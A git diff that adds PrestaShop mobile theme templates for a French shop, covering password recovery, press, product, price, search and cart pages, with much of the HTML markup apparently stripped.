        + +{/if} diff --git a/themes/default/mobile/password.tpl b/themes/default/mobile/password.tpl new file mode 100755 index 0000000..2dd24f3 --- /dev/null +++ b/themes/default/mobile/password.tpl @@ -0,0 +1,52 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{capture assign='page_title'}{l s='Forgot your password?'}{/capture} +{include file='./page-title.tpl'} + +{include file="$tpl_dir./errors.tpl"} +
        +
        + {if isset($confirmation) && $confirmation == 1} +

        {l s='Votre mot de passe a été envoyé à votre adresse email :'} {if isset($email)}{$email|escape:'htmlall':'UTF-8'|stripslashes}{/if}

        + {elseif isset($confirmation) && $confirmation == 2} +

        {l s='Votre mot de passe a été envoyé à votre adresse email :'} {if isset($email)}{$email|escape:'htmlall':'UTF-8'|stripslashes}{/if}

        + {else} +

        {l s='Please enter the email address you used to register. We will then send you a new password. '}

        +
        +
        +
        + + +
        + +
        +
        + {/if} +

        + {l s='Return to Login'}{l s='Back to Login'} +

        +
        +
        + diff --git a/themes/default/mobile/philosophie.tpl b/themes/default/mobile/philosophie.tpl new file mode 100755 index 0000000..dea8ea7 --- /dev/null +++ b/themes/default/mobile/philosophie.tpl @@ -0,0 +1,71 @@ + +{capture name=path}{l s='Ma Philosophie'}{/capture} +{include file="$tpl_dir./breadcrumb.tpl"} +{foreach from=$philo item=phi} +
        +

        {$phi.titrepage}

        +
        + {if $phi.titrebox1!=""} +
        +

        {$phi.titrebox1}

        + +
        + {/if} + {if $phi.titrebox2!=""} +
        +

        {$phi.titrebox2}

        + +
        + {/if} + {if $phi.titrebox3!=""} +
        +

        {$phi.titrebox3}

        + +
        + {/if} + {if $phi.titrebox4!=""} +
        +

        {$phi.titrebox4}

        + +
        + {/if} +
        +
        +
        +
        + {if $phi.video!=""} +
        + {$phi.video|replace:'width="560"':'width="640"'|replace:'height="315"':'height="360"'} +
        + {/if} + {if $phi.bloctitre!=""} +
        +

        {$phi.bloctitre}

        +
        + {if $phi.blocurl!=""}{/if} + {$phi.image2legend} + {if $phi.blocurl!=""}{/if} +
        +
        + {$phi.blocdescription} +
        + {if $phi.blocurl!=""}{$phi.blocurltitre}{/if} +
        + {/if} +
        +
        +{/foreach} \ No newline at end of file diff --git a/themes/default/mobile/presse.tpl b/themes/default/mobile/presse.tpl new file mode 100755 index 0000000..71b255b --- /dev/null +++ b/themes/default/mobile/presse.tpl @@ -0,0 +1,154 @@ +{capture name=path}{l s='La presse en parle'}{/capture} +{include file="$tpl_dir./breadcrumb.tpl"} +
        +

        [{l s='La presse en parle'}]

        + + {if $pressProducts|@count>0} +
        +
        + +
        + +
        +
        +
        + {/if} + {if $nbPage>0} + + {/if} +
        +
          + {foreach from=$press item=presse key=compteur} +
        • +
          {$presse.legend}
          +
          +

          " {$presse.title} "

          +
          + {$presse.description} +
          +
          +
          +
        • + {/foreach} +
        +
        +
        + + {if $nbPage>0} + + {/if} +
        +
        + \ No newline at end of file diff --git a/themes/default/mobile/prices-drop.tpl b/themes/default/mobile/prices-drop.tpl new file mode 100755 index 0000000..e331a60 --- /dev/null +++ b/themes/default/mobile/prices-drop.tpl @@ -0,0 +1,43 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{capture assign='page_title'}{l s='Price drop'}{/capture} +{include file='./page-title.tpl'} + +{if $products} +
        +
        + {include file="./category-product-sort.tpl" container_class="container-sort"} +
        +
        + {include file="./pagination.tpl"} + {include file="./category-product-list.tpl" products=$products} + {include file="./pagination.tpl"} + + {include file='./sitemap.tpl'} +
        +{else} +

        {l s='No price drop'}

        +{/if} \ No newline at end of file diff --git a/themes/default/mobile/product-attributes.tpl b/themes/default/mobile/product-attributes.tpl new file mode 100755 index 0000000..ec6672b --- /dev/null +++ b/themes/default/mobile/product-attributes.tpl @@ -0,0 +1,52 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{if isset($groups)} +
        + +
        +{foreach from=$groups key=id_attribute_group item=group} + {if $group.attributes|@count} +
        + {capture assign='groupName'}group_{$id_attribute_group|intval}{/capture} + + {if ($group.group_type == 'select' || $group.group_type == 'color')} + + {elseif ($group.group_type == 'radio')} +
        + {foreach from=$group.attributes key=id_attribute item=group_attribute} + + + {/foreach} +
        + {/if} +
        + {/if} +{/foreach} +
        +{/if} diff --git a/themes/default/mobile/product-desc-features.tpl b/themes/default/mobile/product-desc-features.tpl new file mode 100755 index 0000000..8692a9a --- /dev/null +++ b/themes/default/mobile/product-desc-features.tpl @@ -0,0 +1,84 @@ +
        +
        + + + {if isset($product) && $product->description} +
        +

        {l s='More info'}

        +
        {$product->description}
        +
        + {/if} + + + {if isset($features) && $features && $features|@count > 0} +
        +

        {l s='Data sheet'}

        +
          + {foreach from=$features item=feature} + {if isset($feature.value)} +
        • {$feature.name|escape:'htmlall':'UTF-8'} {$feature.value|escape:'htmlall':'UTF-8'}
        • + {/if} + {/foreach} +
        +
        + {/if} + + + {if isset($attachments) && $attachments} +
        +

        {l s='Download'}

        + +
        + {/if} + + + {if isset($accessories) && $accessories} +
        +

        {l s='Accessories'}

        +
          + {foreach from=$accessories item=accessory name=accessories_list} + {assign var='accessoryLink' value=$link->getProductLink($accessory.id_product, $accessory.link_rewrite, $accessory.category)} +
        • + +
          +
          + {$accessory.legend|escape:'htmlall':'UTF-8'} +
          +
          +
          +

          {$accessory.name|escape:'htmlall':'UTF-8'}

          +

          {$accessory.description_short|strip_tags|truncate:70:'...'}

          +
          +
          +
          +
          + {if $accessory.show_price AND !isset($restricted_country_mode) AND !$PS_CATALOG_MODE} +
          + {if $priceDisplay != 1}{displayWtPrice p=$accessory.price}{else}{displayWtPrice p=$accessory.price_tax_exc}{/if} +
          + {/if} +
          + {l s='View'} + {assign var="btn_more" value=""} + {assign var="btn_href" value=""} + {assign var="btn_class" value=""} + {if ($accessory.allow_oosp || $accessory.quantity > 0) AND $accessory.available_for_order AND !isset($restricted_country_mode) AND !$PS_CATALOG_MODE} + {assign var="btn_href" value=$link->getPageLink('cart', true, NULL, "qty=1&id_product={$accessory.id_product|intval}&token={$static_token}&add")} + {else} + {assign var="btn_class" value="disabled"} + {capture assign="btn_more"}{if (isset($accessory.quantity_all_versions) && $accessory.quantity_all_versions > 0)}{l s='Product available with different options'}{else}{if !$PS_CATALOG_MODE}{l s='Out of stock'}{/if}{/if}{/capture} + {/if} + {l s='Add to cart'} + {$btn_more} +
          +
        • + {/foreach} +
        +
        + {/if} +
        +
        diff --git a/themes/default/mobile/product-images.tpl b/themes/default/mobile/product-images.tpl new file mode 100755 index 0000000..1fbe7a3 --- /dev/null +++ b/themes/default/mobile/product-images.tpl @@ -0,0 +1,45 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +
        + {if isset($images) && count($images) > 0} + +
        + {assign var=image_cover value=$product->getCover($product->id)} + {assign var=imageIds value="`$product->id`-`$image_cover.id_image`"} + {$product->name|escape:'htmlall':'UTF-8'} +
        + +
        +
        + {/if} +
        diff --git a/themes/default/mobile/product-js.tpl b/themes/default/mobile/product-js.tpl new file mode 100755 index 0000000..e75f5ae --- /dev/null +++ b/themes/default/mobile/product-js.tpl @@ -0,0 +1,188 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + \ No newline at end of file diff --git a/themes/default/mobile/product-list.tpl b/themes/default/mobile/product-list.tpl new file mode 100755 index 0000000..77a28a4 --- /dev/null +++ b/themes/default/mobile/product-list.tpl @@ -0,0 +1,79 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{if isset($products)} + +
          + {foreach from=$products item=product name=products} +
        • + + {$product.legend|escape:'htmlall':'UTF-8'} + {if isset($product.new) && $product.new == 1}{l s='New'}{/if} + +
          +

          {$product.name|escape:'htmlall':'UTF-8'|truncate:35:'...'}

          +

          {$product.description_short|strip_tags:'UTF-8'|truncate:120:'...'}

          + {if $product.reference}

          {l s='Référence : '}{$product.reference|strip_tags:'UTF-8'}

          {/if} +

          {l s='Plus de détails'}

          +
          + {if $logged} +
          + {*if isset($product.on_sale) && $product.on_sale && isset($product.show_price) && $product.show_price && !$PS_CATALOG_MODE} + {l s='On sale!'} + {elseif isset($product.reduction) && $product.reduction && isset($product.show_price) && $product.show_price && !$PS_CATALOG_MODE} + {l s='Reduced price!'} + {/if*} + {if (!$PS_CATALOG_MODE AND ((isset($product.show_price) && $product.show_price) || (isset($product.available_for_order) && $product.available_for_order)))} +
          + {if isset($product.show_price) && $product.show_price && !isset($restricted_country_mode)} + + {*if !$priceDisplay}{convertPrice price=$product.price}{else}{convertPrice price=$product.price_tax_exc}{/if*} + {convertPrice price=$product.price_tax_exc} + {l s='HT'} + {/if} +
          +
          + {l s='Quantité : '} + +
          + {/if} + {if ($product.id_product_attribute == 0 || (isset($add_prod_display) && ($add_prod_display == 1))) && $product.available_for_order && !isset($restricted_country_mode) && $product.minimal_quantity <= 1 && $product.customizable != 2 && !$PS_CATALOG_MODE} + {if ($product.allow_oosp || $product.quantity > 0)} + {if isset($static_token)} + {l s='Add to cart'} + {else} + {l s='Add to cart'} + {/if} + {else} + {/if} + {/if} +
          + {/if} +
        • + {/foreach} +
        +
        + +{/if} diff --git a/themes/default/mobile/product-prices.tpl b/themes/default/mobile/product-prices.tpl new file mode 100755 index 0000000..d72738d --- /dev/null +++ b/themes/default/mobile/product-prices.tpl @@ -0,0 +1,87 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +
        + {if $product->online_only} +

        {l s='Online only'}

        + {/if} + +
        + {if !$priceDisplay || $priceDisplay == 2} + {assign var='productPrice' value=$product->getPrice(true, $smarty.const.NULL)} + {assign var='productPriceWithoutReduction' value=$product->getPriceWithoutReduct(false, $smarty.const.NULL)} + {elseif $priceDisplay == 1} + {assign var='productPrice' value=$product->getPrice(false, $smarty.const.NULL)} + {assign var='productPriceWithoutReduction' value=$product->getPriceWithoutReduct(true, $smarty.const.NULL)} + {/if} + +

        + {if $priceDisplay >= 0 && $priceDisplay <= 2} + {convertPrice price=$productPrice} + {/if} +

        + + {if $product->on_sale} + {l s='On sale!'} + {/if} + {if $priceDisplay == 2} + {convertPrice price=$product->getPrice(false, $smarty.const.NULL)} {l s='Tax excl.'} + {/if} + + + {if $product->specificPrice AND $product->specificPrice.reduction} +

        + {if $priceDisplay >= 0 && $priceDisplay <= 2} + {if $productPriceWithoutReduction > $productPrice} + {convertPrice price=$productPriceWithoutReduction} + {/if} + {/if} + {if $product->specificPrice.reduction_type == 'percentage'} + -{$product->specificPrice.reduction*100}% + {elseif $product->specificPrice.reduction_type == 'amount'} + -{convertPrice price=$product->specificPrice.reduction|floatval} + {/if} + +

        + {/if} + + {if $packItems|@count && $productPrice < $product->getNoPackPrice()} +

        {l s='instead of'} {convertPrice price=$product->getNoPackPrice()}

        + {/if} + + {if $product->ecotax != 0} +

        {l s='include'} {if $priceDisplay == 2}{$ecotax_tax_exc|convertAndFormatPrice}{else}{$ecotax_tax_inc|convertAndFormatPrice}{/if} {l s='for green tax'} + {if $product->specificPrice AND $product->specificPrice.reduction} +
        {l s='(not impacted by the discount)'} + {/if} +

        + {/if} + + {if !empty($product->unity) && $product->unit_price_ratio > 0.000000} + {math equation="pprice / punit_price" pprice=$productPrice punit_price=$product->unit_price_ratio assign=unit_price} +

        {convertPrice price=$unit_price} {l s='per'} {$product->unity|escape:'htmlall':'UTF-8'}

        + {/if} +
        +
        \ No newline at end of file diff --git a/themes/default/mobile/product-quantity-discount.tpl b/themes/default/mobile/product-quantity-discount.tpl new file mode 100755 index 0000000..e02d4b6 --- /dev/null +++ b/themes/default/mobile/product-quantity-discount.tpl @@ -0,0 +1,66 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{if (isset($quantity_discounts) && count($quantity_discounts) > 0)} + + +
        + + + + + + + + + + + + + {foreach from=$quantity_discounts item='quantity_discount' name='quantity_discounts'} + + + + + + {/foreach} + +
        {l s='product'}{l s='from (qty)'}{l s='discount'}
        {l s='There is no quantity discount for this product.'}
        + {if (isset($quantity_discount.attributes) && ($quantity_discount.attributes))} + {$product->getProductName($quantity_discount.id_product, $quantity_discount.id_product_attribute)} + {else} + {$product->getProductName($quantity_discount.id_product)} + {/if} + {$quantity_discount.quantity|intval} + {if $quantity_discount.price != 0 OR $quantity_discount.reduction_type == 'amount'} + -{convertPrice price=$quantity_discount.real_value|floatval} + {else} + -{$quantity_discount.real_value|floatval}% + {/if} +
        +
        +{/if} diff --git a/themes/default/mobile/product.tpl b/themes/default/mobile/product.tpl new file mode 100755 index 0000000..c1b3c8b --- /dev/null +++ b/themes/default/mobile/product.tpl @@ -0,0 +1,283 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + + +{if !$priceDisplay || $priceDisplay == 2} + {assign var='productPrice' value=$product->getPrice(true, $smarty.const.NULL, $priceDisplayPrecision)} + {assign var='productPriceWithoutReduction' value=$product->getPriceWithoutReduct(false, $smarty.const.NULL)} +{elseif $priceDisplay == 1} + {assign var='productPrice' value=$product->getPrice(false, $smarty.const.NULL, $priceDisplayPrecision)} + {assign var='productPriceWithoutReduction' value=$product->getPriceWithoutReduct(true, $smarty.const.NULL)} +{/if} +{include file="$tpl_dir./breadcrumb.tpl"} + + + +{include file='./product-js.tpl'} +
        +
        + +
        + {include file="$tpl_dir./errors.tpl"} + + {if isset($confirmation) && $confirmation} +

        + {$confirmation} +

        + {/if} +

        [{$product->name|escape:'htmlall':'UTF-8'}]

        + + + +

        {$product->description_short|strip_tags|escape:'htmlall':'UTF-8'}

        +
        + + +
        + {if isset($images) && count($images) > 0} + +
        + {assign var=image_cover value=$product->getCover($product->id)} + {assign var=imageIds value="`$product->id`-`$image_cover.id_image`"} + +
        + +
        + {* + {$product->name|escape:'htmlall':'UTF-8'} + Zoom + *} +
          + {foreach from=$images item=image name=slides} + {assign var=imageIds value="`$product->id`-`$image.id_image`"} +
        • + + {$image.legend|htmlspecialchars} + +
        • + {/foreach} +
        +
        + Zoom + +
        +
        + {/if} +
        + + +
        + +
        + {if (!$allow_oosp && $product->quantity <= 0) OR !$product->available_for_order OR (isset($restricted_country_mode) AND $restricted_country_mode) OR $PS_CATALOG_MODE}{else} +
        + +
        + {/if} + + +
        + minimal_quantity > 1}onkeyup="checkMinimalQuantity({$product->minimal_quantity});"{/if} /> +   +   +
        + + {if $product->show_price AND !isset($restricted_country_mode) AND !$PS_CATALOG_MODE} + +
        + +

        + {if $priceDisplay >= 0 && $priceDisplay <= 2} + {convertPrice price=$productPrice} + {/if} +

        + {if $product->specificPrice AND $product->specificPrice.reduction && $product->specificPrice.reduction > 0} +

        + {if $priceDisplay >= 0 && $priceDisplay <= 2} + {if $productPriceWithoutReduction > $productPrice} + {convertPrice price=$productPriceWithoutReduction} + {/if} + {/if} +

        + {/if} + {if isset($HOOK_PRODUCT_ACTIONS) && $HOOK_PRODUCT_ACTIONS}{$HOOK_PRODUCT_ACTIONS}{/if} + +
        + {/if} + + +
        +
        + {if $product->contenu_tiroir_1} +
        +

        {$product->tiroir_1}

        + +
        + {/if} + {if $product->contenu_tiroir_2} +
        +

        {$product->tiroir_2}

        + +
        + {/if} + {if $product->contenu_tiroir_3} +
        +

        {$product->tiroir_3}

        + +
        + {/if} + {if $product->contenu_tiroir_4} +
        +

        {$product->tiroir_4}

        + +
        + {/if} + {if $product->contenu_tiroir_5} +
        +

        {$product->tiroir_5}

        + +
        + {/if} + {if $product->contenu_tiroir_6} +
        +

        {$product->tiroir_6}

        + +
        + {/if} +
        + + + + + + + + +

        minimal_quantity <= 1 OR !$product->available_for_order OR $PS_CATALOG_MODE} style="display: none;"{/if}> + {l s='This product is not sold individually. You must select at least'} {$product->minimal_quantity} {l s='quantity for this product.'} +

        + {if $product->minimal_quantity > 1} + + {/if} + + +

        quantity > 0 || ($product->quantity <= 0 && !$product->available_later && $allow_oosp) OR ($product->quantity > 0 && !$product->available_now) OR !$product->available_for_order OR $PS_CATALOG_MODE} style="display: none;"{/if}> + {l s='Availability:'} + quantity <= 0} class="warning_inline"{/if}>{if $product->quantity <= 0}{if $allow_oosp}{$product->available_later}{else}{l s='This product is no longer in stock'}{/if}{else}{$product->available_now}{/if} +

        +

        quantity > 0) OR !$product->available_for_order OR $PS_CATALOG_MODE OR !isset($product->available_date) OR $product->available_date < $smarty.now|date_format:'%Y-%m-%d'} style="display: none;"{/if}> + {l s='Availability date:'} + {dateFormat date=$product->available_date full=false} +

        +
        +
        + + + + {if (isset($product) && $product->description) || (isset($features) && $features) || (isset($accessories) && $accessories) || (isset($HOOK_PRODUCT_TAB) && $HOOK_PRODUCT_TAB) || (isset($attachments) && $attachments) || isset($product) && $product->customizable} +
        +
        + {if isset($HOOK_PRODUCT_TAB_CONTENT) && $HOOK_PRODUCT_TAB_CONTENT}{$HOOK_PRODUCT_TAB_CONTENT}{/if} +
        +
        + {/if} +
        +
        + {if isset($accessories) && $accessories} +
        {l s='Vous aimerez aussi'}
        +
        +
        +
          + {foreach from=$accessories item=accessoire} +
        • + + {$accessoire.legend|escape:'htmlall':'UTF-8'} + +
        • + {/foreach} +
        +
        +
        + > + > +
        + + {/if} + {if $product->video_1!=""} +
        +
        +
        {l s='La créatrice en parle'}
        + {$product->video_1} +
        +
        + {/if} + + {if $product->video_2!=""} +
        +
        +
        {l s='Vu à la télé'}
        {$product->video_2} +
        +
        + {/if} + +
        +
        diff --git a/themes/default/mobile/search.tpl b/themes/default/mobile/search.tpl new file mode 100755 index 0000000..f46bffa --- /dev/null +++ b/themes/default/mobile/search.tpl @@ -0,0 +1,67 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{capture assign='page_title'} + {l s='Search'} + {if $nbProducts > 0} + "{if isset($search_query) && $search_query}{$search_query|escape:'htmlall':'UTF-8'}{elseif $search_tag}{$search_tag|escape:'htmlall':'UTF-8'}{elseif $ref}{$ref|escape:'htmlall':'UTF-8'}{/if}" + {/if} +{/capture} +{include file='./page-title.tpl'} +{include file="$tpl_dir./errors.tpl"} + +{if $nbProducts} +
        +

        {if $nbProducts == 1}{l s='%d result has been found.' sprintf=$nbProducts|intval}{else}{l s='%d results have been found.' sprintf=$nbProducts|intval}{/if}

        + + {if !isset($instantSearch) || (isset($instantSearch) && !$instantSearch)} +
        + {include file="./category-product-sort.tpl" container_class="container-sort"} +
        + {/if} + +
        + {if !isset($instantSearch) || (isset($instantSearch) && !$instantSearch)} + {include file="./pagination.tpl"} + {/if} + {include file="./category-product-list.tpl" products=$products} + + {if !isset($instantSearch) || (isset($instantSearch) && !$instantSearch)} + {include file="./pagination.tpl"} + {/if} + + {include file='./sitemap.tpl'} +
        +{else} +

        + {if isset($search_query) && $search_query} + {l s='No results were found for your search'} "{if isset($search_query)}{$search_query|escape:'htmlall':'UTF-8'}{/if}" + {elseif isset($search_tag) && $search_tag} + {l s='No results were found for your search'} "{$search_tag|escape:'htmlall':'UTF-8'}" + {else} + {l s='Please enter a search keyword'} + {/if} +

        +{/if} \ No newline at end of file diff --git a/themes/default/mobile/shopping-cart-gift-line.tpl b/themes/default/mobile/shopping-cart-gift-line.tpl new file mode 100755 index 0000000..4da6712 --- /dev/null +++ b/themes/default/mobile/shopping-cart-gift-line.tpl @@ -0,0 +1,53 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + + + +
        + +
        +
        +

        {$product.name}

        + {if $product.reference}

        {l s='Ref:'} {$product.reference}

        {/if} +

        {$product.description_short}

        +
        +
        +

        + {if !empty($product.gift)} +

        {l s='Gift!'}

        + {else} + {if isset($product.is_discounted) && $product.is_discounted} + {convertPrice price=$product.price_without_specific_price}
        + {/if} + {if !$priceDisplay} + {convertPrice price=$product.price_wt} + {else} + {convertPrice price=$product.price} + {/if} + {/if} +

        +
        \ No newline at end of file diff --git a/themes/default/mobile/shopping-cart-product-line-step3.tpl b/themes/default/mobile/shopping-cart-product-line-step3.tpl new file mode 100755 index 0000000..5a2318c --- /dev/null +++ b/themes/default/mobile/shopping-cart-product-line-step3.tpl @@ -0,0 +1,53 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + + +
        + {$product.name|escape:'htmlall':'UTF-8'} +
        +
        +

        {$product.name|escape:'htmlall':'UTF-8'|truncate:120:"...":true}

        +

        {if isset($product.attributes) && $product.attributes} - {$product.attributes|escape:'htmlall':'UTF-8'}
        {/if}{$product.description_short|strip_tags|escape:'htmlall':'UTF-8'|truncate:160:"...":true}

        +
        +
        + {if $quantityDisplayed == 0 AND isset($customizedDatas.$productId.$productAttributeId)}{$customizedDatas.$productId.$productAttributeId|@count}{else}{$product.cart_quantity-$quantityDisplayed}{/if} +
        +
        + + {if !empty($product.gift)} + {l s='Gift!'} + {else} + {if $quantityDisplayed == 0 AND isset($customizedDatas.$productId.$productAttributeId)} + {if !$priceDisplay}{displayPrice price=$product.total_customization_wt}{else}{displayPrice price=$product.total_customization}{/if} + {else} + {if !$priceDisplay}{displayPrice price=$product.total_wt}{else}{displayPrice price=$product.total}{/if} + {/if} + {/if} + +
